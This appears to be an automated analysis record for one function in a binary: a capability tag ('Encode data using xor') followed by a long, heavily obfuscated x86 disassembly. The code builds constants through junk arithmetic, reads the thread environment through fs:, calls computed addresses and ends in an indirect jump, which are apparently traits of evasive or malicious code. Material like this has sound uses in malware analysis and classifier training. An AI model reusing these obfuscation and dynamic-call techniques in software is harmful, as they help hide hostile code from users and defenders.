Function at 0x5ba494
Capabilities:
Encode data using xor

Disassembly:
mov ecx, ebx
push ecx
pop eax
sub esp, 4
mov edx, esp
mov dword [edx], eax
sub edx, edx
add edx, edi
mov ecx, 0x6dd5d5c0
mov eax, 0x922a2a3c
xor ecx, eax
add esp, ecx
mov dword [esp], edx
mov ecx, esi
push ecx
pop edi
mov edx, 0x40ecb99
add edx, 0xfbf13463
add esp, edx
mov dword [esp], edi
mov ecx, 0x58649a5e
mov esi, 0x3c091a7a
xor esi, ecx
mov eax, esi
xor eax, 0xffffffff
and eax, 0xc1735a1
and esi, 0xf3e8ca5e
or esi, eax
mov ebx, 0xa10191
mov ecx, 0x5950084c
xor ebx, ecx
mov ecx, 0xf1765440
sub ebx, ecx
xor ebx, esi
mov ecx, dword fs:[ebx]
mov edx, 0xa365044
mov ebx, 0x50008310
xor edx, ebx
mov ebx, 0xa5c92cdc
add edx, ebx
add ecx, edx
xor eax, eax
add eax, ecx
mov esi, 0x43f99064
add esi, 0xbc066fca
add eax, esi
mov edi, dword [eax - 0x2e]
mov ecx, 2
add edi, ecx
add edi, 2
add edi, 2
push 0x96a8162d
mov edx, 0x6957e9d7
pop eax
xor edx, eax
sub edi, edx
xor eax, eax
add eax, edi
mov edx, 0x729b0f28
add edx, 0x8d64f08b
sub eax, edx
mov esi, dword [eax - 0x4d]
push 0x1e476d4c
mov edx, 0x111478bc
pop edi
xor edx, edi
add edx, 0xfb1f378b
add edx, 0xf58db279
sub esi, edx
mov edi, 0x611b07a8
mov ebx, 0x611b07ac
xor ebx, edi
sub esp, ebx
xor edx, edx
add edx, esp
mov dword [edx], esi
pop edx
push edx
pop eax
xchg edi, eax
mov ecx, edi
mov eax, ecx
push eax
xor esi, esi
add esi, edx
mov edi, 0x55209c81
xor edi, 0x55209cc5
sub esi, edi
mov edi, 1
sub esi, edi
mov ecx, dword [esi + 0x45]
sub esp, 4
mov ebx, esp
mov dword [ebx], ecx
pop eax
mov esi, 0x7b00e316
mov edx, 0x84ff1ce9
xor edx, esi
add eax, edx
mov edx, 0x3529b971
mov ebx, 0xcad6468e
xor ebx, edx
add eax, ebx
mov edi, dword [eax + 2]
mov ecx, 0xc388c00
mov esi, 0x817184
xor ecx, esi
mov edx, 0x71590e91
add edx, 0x81ecf3bf
xor ecx, edx
sub edi, ecx
mov eax, dword [edi]
and eax, 0xffff
xor al, 0x18
sub ebx, ebx
add ebx, eax
sub ebx, 0
jne 0x5ba891
mov ebx, 0x21000054
mov ecx, 0xaae5f80
xor ebx, ecx
push ebx
mov eax, 0x7dc4b12a
add eax, 0xade9aea6
mov esi, dword [esp]
add esp, 4
xor eax, esi
add edi, eax
sub ebx, ebx
add ebx, edi
mov ecx, 0x5fc3ad7f
xor ecx, 0x5fc3ad4b
add ebx, ecx
mov eax, dword [ebx - 0x34]
mov edx, eax
xchg edx, ecx
mov esi, 0x18d399bc
add esi, 0xe72c6648
sub esp, esi
mov dword [esp], ecx
mov ebx, dword [eax]
and ebx, 0xff
push 0x2175d541
mov ecx, 0x7d38f072
pop esi
xor ecx, esi
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4780f380
and ecx, 0xb87f0c7f
or ecx, edx
xor ebx, ecx
xor edx, edx
add edx, ebx
mov esi, 0xfee9b246
xor edx, esi
xor edx, 0x1164db9
and edx, 0x1bcdd6d8
and ebx, 0xe4322927
or ebx, edx
add esp, 0xfffffffe
add esp, 0xfffffffe
xor edx, edx
add edx, esp
mov dword [edx], ebx
mov edx, esp
add edx, 3
dec edx
mov ecx, dword [edx - 2]
mov eax, 4
add esp, eax
and ecx, 0xffffffff
je 0x5ba6f9
xor ebx, 0x20
cmp ebx, 0
jne 0x5ba874
xor ecx, ecx
add ecx, esp
mov esi, 0x1a
add ecx, esi
mov ebx, 0xffffffff
add ecx, ebx
mov eax, dword [ecx - 0x19]
mov esi, 0x69c54221
add esi, 0x963abde3
add esp, esi
push 0x6db6d414
mov ebx, 0x4fc4ae0b
pop edi
xor ebx, edi
mov edx, ebx
xor edx, 0xffffffff
and edx, 0x22727a19
and ebx, 0xdd8d85e6
or ebx, edx
add eax, ebx
mov ecx, 0x1f7fb328
mov edx, 0xe0804cd4
xor ecx, edx
add esp, ecx
mov ecx, esp
push ecx
pop ebx
mov dword [ebx], eax
sub ecx, ecx
add ecx, eax
mov edi, 0x12
mov ebx, 5
xor edi, ebx
add ecx, edi
mov edi, 1
sub ecx, edi
mov esi, dword [ecx - 0x16]
and esi, 0xff
xor ecx, ecx
add ecx, esi
xchg ecx, ebx
mov eax, 0x7930c67d
xor eax, 0x86cf3982
xor ebx, eax
and ebx, 0x4e
and esi, 0xffffffb1
or esi, ebx
mov ecx, 0x2666a3c8
xor ecx, 0x2666a3c8
xor ecx, esi
xchg eax, ecx
and eax, eax
je 0x5ba7e5
mov edi, 0x4248db1f
xor edi, 0x1240b21f
push 0x3e87312f
mov eax, 0x3af7256d
pop ebx
xor eax, ebx
xor edi, eax
xor esi, edi
mov eax, 0x6a995bd0
add eax, 0xe9df2192
xor esi, eax
test esi, esi
jne 0x5ba874
push esp
pop esi
mov ebx, 0xffffffff
add esi, ebx
mov edx, dword [esi + 1]
mov esi, 0x2c7cc2df
xor esi, 0x2c7cc2db
add esp, esi
push 0xd45e9f0
mov edi, 0x2851f0f7
pop ebx
xor edi, ebx
push edi
mov esi, 0x35a148c3
add esi, 0xef72d03e
mov eax, dword [esp]
sub esp, 0xfffffffc
xor esi, eax
add edx, esi
mov esi, dword [edx]
mov eax, 0x1afbdcac
mov edx, 0x148dc48c
xor edx, eax
mov eax, 0x7a853e30
mov edi, 0x5a853f2c
xor edi, eax
xor edx, edi
xor esi, edx
mov edi, 0x67f92ec9
add edi, 0x3e77a34
xor esi, edi
mov ebx, 0x1197c3cf
xor esi, ebx
xor esi, 0x5433723d
mov edi, esi
and edi, 0xffffffff
je 0x5ba8f6
jmp 0x5ba891
mov esi, esp
xchg ecx, esi
mov edx, 0xffffff9d
add ecx, edx
dec ecx
mov edi, dword [ecx + 0x64]
mov ebx, 0x3efb0764
xor ebx, 0x3efb0760
add esp, ebx
mov eax, 0
xor eax, esp
mov ebx, 0xffffffd2
add eax, ebx
mov ebx, 1
sub eax, ebx
mov edi, dword [eax + 0x2f]
mov ecx, 0x555c03a5
xor ecx, 0x555c03a1
add esp, ecx
sub esp, 4
mov esi, esp
mov dword [esi], edi
mov edx, dword [esp]
add esp, 4
mov ebx, 0x31f5f81d
add ebx, 0xce0a07e2
add edx, ebx
mov eax, dword [edx + 1]
xor esi, esi
add esi, eax
mov ecx, esi
xchg ebx, ecx
mov esi, 0x7f65ea8
mov ecx, 0xf809a154
xor esi, ecx
add esp, esi
mov dword [esp], ebx
jmp 0x5ba598
pop ebx
mov eax, ebx
xchg edi, eax
mov ecx, edi
xchg esi, ecx
mov eax, 1
sub esi, eax
mov edx, dword [esi + 1]
xor eax, eax
add eax, edx
mov ecx, 1
sub eax, ecx
mov esi, dword [eax + 1]
mov edx, 0x221404af
mov edi, 0x50e20000
xor edx, edi
push 0x32f90fac
mov eax, 0x400f0b1b
pop edi
xor eax, edi
xor eax, edx
add esi, eax
mov eax, esi
mov ebx, eax
mov edi, ebx
push 0x872d9463
mov eax, 0x78d26ba2
pop ebx
xor eax, ebx
add edi, eax
mov eax, 0xc23f2cc
xor eax, 0xc23f2cd
sub edi, eax
mov edx, dword [edi + 0x40]
mov ebx, 0x45865f64
mov esi, 0xba79a098
xor ebx, esi
add esp, ebx
mov esi, esp
push esi
pop ecx
mov dword [ecx], edx
mov esi, edx
push 0x9b5e43e
mov eax, 0x2187e642
pop ebx
xor eax, ebx
mov edi, 0x750fdca7
xor edi, 0x5d3ddee7
xor edi, eax
add esi, edi
mov eax, esi
xchg eax, ebx
push 0xdcd269ef
mov ecx, 0x232d9606
pop eax
xor ecx, eax
add ebx, ecx
dec ebx
mov edi, dword [ebx + 0x18]
mov ecx, esp
push ecx
pop ebx
mov eax, 1
sub ebx, eax
mov esi, dword [ebx + 1]
add edi, esi
mov eax, 0xfffffffd
sub edi, eax
mov ecx, 0x28
add edi, ecx
mov edx, 0x791e77a1
xor edx, 0x791e77ec
add edi, edx
xor eax, eax
add eax, edi
mov edx, 0x9c384fa
mov ebx, 0xf63c7b01
xor edx, ebx
add eax, edx
mov esi, 0x2fc14b00
xor esi, 0xd03eb4ff
add eax, esi
mov edi, dword [eax + 6]
xor ecx, ecx
add ecx, esp
xchg eax, ecx
mov ebx, 0xc
mov esi, 0
xor ebx, esi
add eax, ebx
mov ebx, 0x18d0cba9
add ebx, 0xe72f3456
add eax, ebx
mov edx, dword [eax - 0xb]
add edi, edx
mov ecx, 0x40a04824
mov esi, 0x2a489610
xor ecx, esi
mov eax, 0x951721ec
add ecx, eax
add edi, ecx
push 0xbae93933
mov eax, 0x72169002
pop edx
xor eax, edx
push eax
mov ecx, 0x28e8d34f
xor ecx, 0x28e8d50f
mov edx, 0x105a2965
mov eax, 0x275a79e8
xor eax, edx
xor ecx, eax
pop esi
xor ecx, esi
add ecx, edi
mov eax, 0x363fd5fd
mov esi, 0x363fd5fd
xor esi, eax
xor esi, ecx
mov eax, 0x63612486
mov edx, 0x9c9edb10
xor eax, edx
sub esi, eax
mov edx, 0x6f96a89b
add edx, 0x90695764
add esi, edx
mov ecx, dword [esi - 0x69]
xor edx, edx
add edx, esp
mov eax, 0x21
mov ebx, 8
xor eax, ebx
sub edx, eax
mov eax, 0xffffffff
add edx, eax
mov esi, dword [edx + 0x2a]
add ecx, esi
mov ebx, ecx
push ebx
mov eax, dword [esp]
add esp, 4
mov ebx, 0x1c90d078
add ebx, 0xe36f2f84
add esp, ebx
mov dword [esp], eax
mov edx, 0x81020
mov ebx, 0x4c28304
xor edx, ebx
mov ebx, edx
xor ebx, 0xffffffff
and ebx, 0x4ca9320
and edx, 0xfb356cdf
or edx, ebx
mov ebx, 0x2eb6fccb
mov eax, 0x542fdc1e
xor eax, ebx
mov ebx, 0x7a9920d5
xor eax, ebx
xor edx, eax
add edx, edi
xor ebx, ebx
add ebx, edx
push ebx
pop eax
mov esi, 0x37c9d600
xor esi, 0xc83629f1
sub eax, esi
mov ecx, 0x316625
add ecx, 0xffce99dc
sub eax, ecx
mov edx, dword [eax - 0xe]
mov eax, dword [esp + 4]
add edx, eax
mov eax, 0x7bb53d3a
add eax, 0x844ac2c2
add esp, eax
sub esi, esi
add esi, esp
mov dword [esi], edx
mov eax, 0x1472cac9
xor eax, 0x1472cac9
xor eax, edi
mov ecx, 1
mov edx, 0x54
xor ecx, edx
sub eax, ecx
mov edi, dword [eax + 0x55]
mov eax, dword [esp + 8]
add edi, eax
xor ecx, ecx
add ecx, edi
xchg ecx, ebx
mov edx, 0x62aa8bf8
mov ecx, 0x9d557433
xor ecx, edx
sub ebx, ecx
mov eax, dword [ebx - 0x35]
mov esi, dword [esp + 8]
add eax, esi
mov ecx, 0x1890c508
mov edx, 0x20203a04
xor ecx, edx
add ecx, 0xeb22c2f6
add ecx, 0xdc2c3e03
add eax, ecx
sub esp, 4
mov edx, esp
mov dword [edx], eax
pop ebx
push 0xee3d685f
mov ecx, 0x11c297b5
pop edx
xor ecx, edx
sub ebx, ecx
mov ecx, 0x7108b28c
add ecx, 0x8ef74d75
sub ebx, ecx
mov eax, dword [ebx - 0x15]
mov edx, 0x4a73b04c
xor edx, 0x2a33b321
mov ecx, 0xec1183
mov ebx, 0x4ed7181
xor ebx, ecx
xor edx, ebx
xor eax, edx
mov edx, 0x62ac99fc
mov ebx, 0x62ac99fc
xor ebx, edx
xor ebx, eax
xor ecx, ecx
add ecx, ebx
sub ecx, 0
je 0x5bac6e
mov eax, 0x59b7c8b4
mov ebx, 0x4a681d07
xor ebx, eax
add ebx, 0xfa4df348
add ebx, 0xf1d23701
sub edi, ebx
pop ecx
mov eax, 0x3edc96c
xor eax, 0x9a743858
add esp, 0xfffffffc
mov dword [esp], eax
push 0x18ba65bf
mov edx, 0x7edc6b75
pop eax
xor edx, eax
pop esi
xor edx, esi
sub ecx, edx
mov esi, 0x7f6fc99f
mov eax, 0x7f6fc99f
xor eax, esi
xor eax, ecx
push 0xb0902902
mov edx, 0x4f6fd6fe
pop ebx
xor edx, ebx
add esp, edx
mov dword [esp], eax
jmp 0x5bab6f
pop edx
xor ebx, ebx
add ebx, edx
push ebx
pop esi
mov ecx, 0x6d26f5e9
mov edi, 0x92d90a16
xor ecx, edi
add esi, ecx
mov edx, dword [esi + 1]
and edx, 0xffff
add edx, edx
sub eax, eax
add eax, edx
add edx, eax
mov ebx, esp
mov esi, 9
sub ebx, esi
mov ecx, dword [ebx + 9]
mov eax, 0x32a969a
mov esi, 0x32a969e
xor esi, eax
add esp, esi
add ecx, edx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ecx
mov ebx, dword [esp]
add esp, 4
push 0x48f0a0a5
mov edx, 0x48f0a0ba
pop esi
xor edx, esi
sub ebx, edx
mov ecx, dword [ebx + 0x1f]
mov ebx, esp
mov edi, ebx
add edi, 0xfffffff0
add edi, 0xffffffa8
mov ebx, 0xffffffff
add edi, ebx
mov eax, dword [edi + 0x69]
push 0xa6732b27
mov esi, 0x598cd4db
pop edi
xor esi, edi
sub esp, esi
add ecx, eax
mov edi, 0x4cbc01d6
xor edi, 0x4cbc01d6
xor edi, ecx
mov esi, 0xfffffffc
add esp, esi
mov esi, esp
mov edx, esi
mov dword [edx], edi
mov esi, 0x1831ee05
xor esi, 0x7b43de05
add esp, 0xfffffffc
mov dword [esp], esi
push 0x4c7e3533
mov ebx, 0xd074752
pop edx
xor ebx, edx
push ebx
push 0xd0bc369
mov edx, 0x7f69aa25
pop esi
xor edx, esi
push edx
push 0x1596199e
mov edi, 0x71f776d2
pop edx
xor edi, edx
push edi
push esp
pop edx
xchg edx, ebx
mov edi, ebx
xchg edi, edx
mov esi, 0xfffffffc
add esp, esi
mov dword [esp], edx
sub edx, edx
add edx, eax
mov esi, 4
sub esp, esi
xor ebx, ebx
add ebx, esp
mov dword [ebx], edx
call ecx
mov edi, 0x92a0c04
mov edx, 0x14804189
xor edi, edx
mov ebx, 0x158a4891
mov edx, 0x820050c
xor ebx, edx
xor ebx, edi
add esp, ebx
mov ecx, 0x3aea920a
xor ecx, 0x3aea920a
xor ecx, eax
mov edi, 0xfffffffc
add esp, edi
mov esi, 0
xor esi, esp
mov dword [esi], ecx
call fcn.005bb2e3
mov esi, 0x4fee59c7
xor esi, 0x20937567
mov edi, 0x72a970aa
xor esi, edi
xor esi, 0x1dd45c08
add edx, esi
mov ecx, edx
xchg ebx, ecx
xor edi, edi
add edi, ebx
mov eax, 0x2e616bdb
add eax, 0xd19e9421
add esp, eax
mov dword [esp], edi
mov ebx, 0x424b2b77
xor ebx, 0x4d96e977
push ebx
push 0x5d205331
mov edx, 0x3e4f3f5d
pop esi
xor edx, esi
push edx
push 0x28bad261
mov edx, 0x69d6b314
pop esi
xor edx, esi
push edx
mov edx, 0x440c6a5d
xor edx, 0x307e030b
push edx
mov eax, 0x74b24b8a
add eax, 0x76
push eax
mov esi, 0x59a99bca
xor esi, 0x6b9af7af
sub esp, 4
mov dword [esp], esi
mov edx, 0x6e7264cc
add edx, 0x7f
push edx
mov edi, dword [esp + 0x20]
push esp
pop eax
xchg eax, edx
mov ebx, edx
xchg eax, ebx
mov ebx, 4
sub esp, ebx
mov dword [esp], eax
call edi
mov ecx, 0x45f322b3
add ecx, 0xe82e4da5
mov edx, 0x376c25c1
mov ebx, 0x194d5595
xor ebx, edx
xor ebx, ecx
add esp, ebx
push 0x694a0821
mov ebx, 0x694a0821
pop edx
xor ebx, edx
xor ebx, esp
mov ecx, 0x56961cec
xor ecx, 0x56961ce8
sub esp, ecx
mov dword [esp], ebx
mov ebx, 0
xor ebx, eax
xor esi, esi
add esi, ebx
mov edi, esi
mov edx, edi
mov edi, edx
sub esp, 4
mov dword [esp], edi
mov esi, dword [esp + 0x20]
call esi
mov ebx, 0x43dce1a5
xor ebx, 0x3195ccbf
mov esi, 0x72492d0a
sub ebx, esi
add esp, ebx
mov esi, 0x5a9ef0d4
xor esi, 0x5a9ef094
push esi
push 0x7edf461d
mov edi, 0x7edf561d
pop edx
xor edi, edx
push edi
mov ebx, 0x4969
mov ecx, 0xb614
xor ebx, ecx
push ebx
push 0x396b4fb7
mov esi, 0x396b4fb7
pop ecx
xor esi, ecx
push esi
call eax
mov ebx, esp
xchg ebx, esi
mov ecx, 1
sub esi, ecx
mov edx, dword [esi + 1]
mov ecx, 0x72d715e4
add ecx, 0x8d28ea18
sub esp, ecx
mov ecx, 0x49e908f0
xor ecx, 0x49e908f0
xor ecx, eax
xchg ecx, ebx
mov ecx, 0x8b4e273
add ecx, 0xf74b1d8d
xor ecx, ebx
mov edi, ecx
xchg edi, esi
mov edi, 4
sub esp, edi
mov dword [esp], esi
mov ecx, 0x29b906f9
add ecx, 0xd646f903
add esp, ecx
xor edi, edi
add edi, esp
xor eax, eax
add eax, edi
mov dword [eax], edx
mov ecx, 0x5ae230
mov esi, 0x2050441
xor ecx, esi
push 0x91d6a7d4
mov eax, 0x6c76bea5
pop esi
xor eax, esi
xor eax, ecx
sub edx, eax
mov eax, 0x1193af92
xor eax, 0x119350e1
push eax
mov al, byte [edx]
mov byte [ebx], al
mov ecx, 0x72c0c36
mov esi, 0x6ea454ea
xor esi, ecx
mov edi, 0x12408603
mov eax, 0x84372120
xor edi, eax
xor esi, edi
sub edx, esi
mov esi, 0x4e80b087
xor esi, 0x8c287cb
mov edi, 0x1213a855
mov ecx, 0x54519f18
xor ecx, edi
xor ecx, esi
add ebx, ecx
mov eax, dword [esp]
push 0xf3eb4f73
mov ecx, 0xc14b08f
pop esi
xor ecx, esi
sub esp, ecx
mov esi, 0x28a060d0
mov ecx, 0x704020e
xor esi, ecx
mov ecx, 0xd05b9d21
xor esi, ecx
add eax, esi
mov edi, eax
xchg edi, esi
mov ecx, 0
xor ecx, esi
xor esi, esi
add esi, ecx
add esp, 0xfffffffd
add esp, 0xffffffff
mov dword [esp], esi
cmp eax, 0
jne 0x5bafa5
mov ebx, dword [esp]
mov ecx, 0
sub esp, ecx
mov ecx, 4
add esp, ecx
mov edi, 0x2e50e105
mov ecx, 0x382387a8
xor ecx, edi
add ecx, 0xedaf3ca8
add ecx, 0xfbdd780d
mov edx, 0x72b13f06
mov eax, 0x72b1db17
xor eax, edx
push 0x468e8a63
mov ebx, 0x468e8a63
pop edx
xor ebx, edx
xor eax, ebx
xor ecx, eax
pop esi
mov edx, esp
xchg edx, edi
mov edx, 8
add edi, edx
mov ebx, dword [edi - 8]
mov edx, 0x5656a603
xor edx, 0xa9a959ff
sub esp, edx
push 0xc92d4a3e
mov edx, 0x36d2c540
pop edi
xor edx, edi
sub ebx, edx
mov eax, 0x765bb1b
mov edi, 0x76535eb
xor edi, eax
add ebx, edi
push ecx
pop eax
xchg eax, edx
mov eax, 4
sub esp, eax
mov edi, 0
xor edi, esp
mov dword [edi], edx
mov eax, 0x71f7c294
mov edi, 0x71f7c290
xor edi, eax
sub esp, edi
mov edi, esp
push edi
mov edx, dword [esp]
add esp, 4
mov dword [edx], esi
mov eax, ebx
push eax
pop edi
mov edx, 0x2e28b81f
xor edx, 0xd1d747e3
add esp, edx
mov dword [esp], edi
sub ecx, ecx
mov cl, byte [ebx]
add esi, ecx
mov cl, byte [esi]
xor edi, edi
add edi, esp
mov edx, 1
sub edi, edx
mov ebx, dword [edi + 1]
mov eax, 0x721174e5
add eax, 0x8dee8b1f
add esp, eax
mov edi, esp
xchg edi, edx
mov edi, 0x58
sub edx, edi
add edx, 0xffffffff
mov esi, dword [edx + 0x59]
push 0x90cae012
mov edx, 0x6f351fee
pop eax
xor edx, eax
sub esp, edx
mov byte [ebx], cl
mov edx, 0xa28e20a
mov eax, 0x500c0
xor edx, eax
mov edi, 0x51df3226
xor edi, 0xa40d2f13
xor edx, edi
add ebx, edx
pop ecx
push 0xb3daf6
mov edx, 0x859d2bb
pop edi
xor edx, edi
mov edi, 0xf715f7b4
add edx, edi
sub ecx, edx
mov edi, 0xfffffffc
add esp, edi
push esp
pop edx
mov dword [edx], ecx
mov edi, esp
dec edi
mov eax, dword [edi + 1]
mov edx, 4
add esp, edx
xor eax, 0
jne 0x5bb0bc
mov esi, 0x58746b87
xor esi, 0x58746b87
mov ecx, 0
mov eax, 1
xor ecx, eax
xor esi, ecx
add ebx, esi
mov ecx, ebx
xchg ecx, edi
xchg esi, edi
push 0x301cbb3a
mov edx, 0x301cbb3e
pop ecx
xor edx, ecx
sub esp, edx
mov dword [esp], esi
mov ecx, dword [esp]
mov edx, 0x2e6950a5
add edx, 0xd196af5f
add esp, edx
call ecx
mov edx, 0x77d4c9f6
add edx, 0xca
push edx
mov eax, 0xa017090
mov edx, 0x5018840e
xor eax, edx
mov edx, 0xa6d246b5
add eax, edx
mov edx, esp
dec edx
mov ecx, dword [edx + 1]
mov edx, 0xfffffffc
sub esp, edx
xor eax, ecx
pop esi
mov ecx, 0x10081c42
mov edx, 0x224380
xor ecx, edx
mov edx, 0x77e01fd2
xor ecx, edx
mov eax, 0x380
mov edx, 0x100001
xor eax, edx
xor ecx, eax
push esp
pop eax
mov ecx, 1
sub eax, ecx
mov edi, dword [eax + 1]
mov ecx, 0x1188c8ff
mov eax, 0xee773703
xor eax, ecx
sub esp, eax
mov eax, 0x4c0b11a1
mov ecx, 0x140440
xor eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5ae4812a
and eax, 0xa51b7ed5
or eax, ecx
mov edx, 0x60080824
mov ecx, 0x8060d08b
xor edx, ecx
sub eax, edx
xor ecx, ecx
add ecx, esp
mov edx, 0x5d
sub ecx, edx
dec ecx
mov ebx, dword [ecx + 0x5e]
mov ecx, 0x3a39ac65
xor ecx, 0xc5c65399
sub esp, ecx
lea esp, [esp + 4]
jmp dword [esp - 4]